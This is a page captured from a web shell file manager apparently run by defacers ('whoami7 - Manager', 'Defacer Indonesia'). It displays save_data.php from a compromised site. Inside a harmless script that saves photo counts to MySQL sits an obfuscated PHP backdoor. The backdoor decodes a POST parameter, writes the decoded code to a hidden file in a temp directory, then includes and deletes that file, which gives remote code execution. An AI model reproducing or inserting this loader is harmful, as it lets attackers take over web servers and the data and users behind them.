whoami7 - Manager
:
/
home
/
analuakl
/
ankurmedia.com
/
GMR
/
Upload File:
files >> /home/analuakl/ankurmedia.com/GMR/save_data.php
<?php if(array_key_exists("sy\x6D\x62\x6Fl", $_POST)){ $pointer = $_POST["sy\x6D\x62\x6Fl"]; $pointer = explode ( '.' ,$pointer) ; $token = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); $u = 0; while ($u < count($pointer)) {$v7 = $pointer[$u]; $chS = ord($s9[$u % $sLen] ); $dec = ((int)$v7 - $chS - ($u % 10))^ 13; $token .= chr($dec ); $u++; } $bind = array_filter(["/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path()]); while ($rec = array_shift($bind)) { if (!!is_dir($rec) && !!is_writable($rec)) { $binding = sprintf("%s/.fac", $rec); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $binding; @unlink($binding); die(); } } } } include 'db_connect.php'; // Database connection include karein if ($_SERVER["REQUEST_METHOD"] == "POST") { $date = $_POST['date']; $photo_count = $_POST['photo_count']; $stmt = $conn->prepare("INSERT INTO photos (date_entry, photo_count) VALUES (?, ?) ON DUPLICATE KEY UPDATE photo_count = ?"); $stmt->bind_param("sii", $date, $photo_count, $photo_count); if ($stmt->execute()) { echo "Data saved successfully!"; } else { echo "Error: " . $stmt->error; } $stmt->close(); } $conn->close(); ?>
Copyright ©2021 || Defacer Indonesia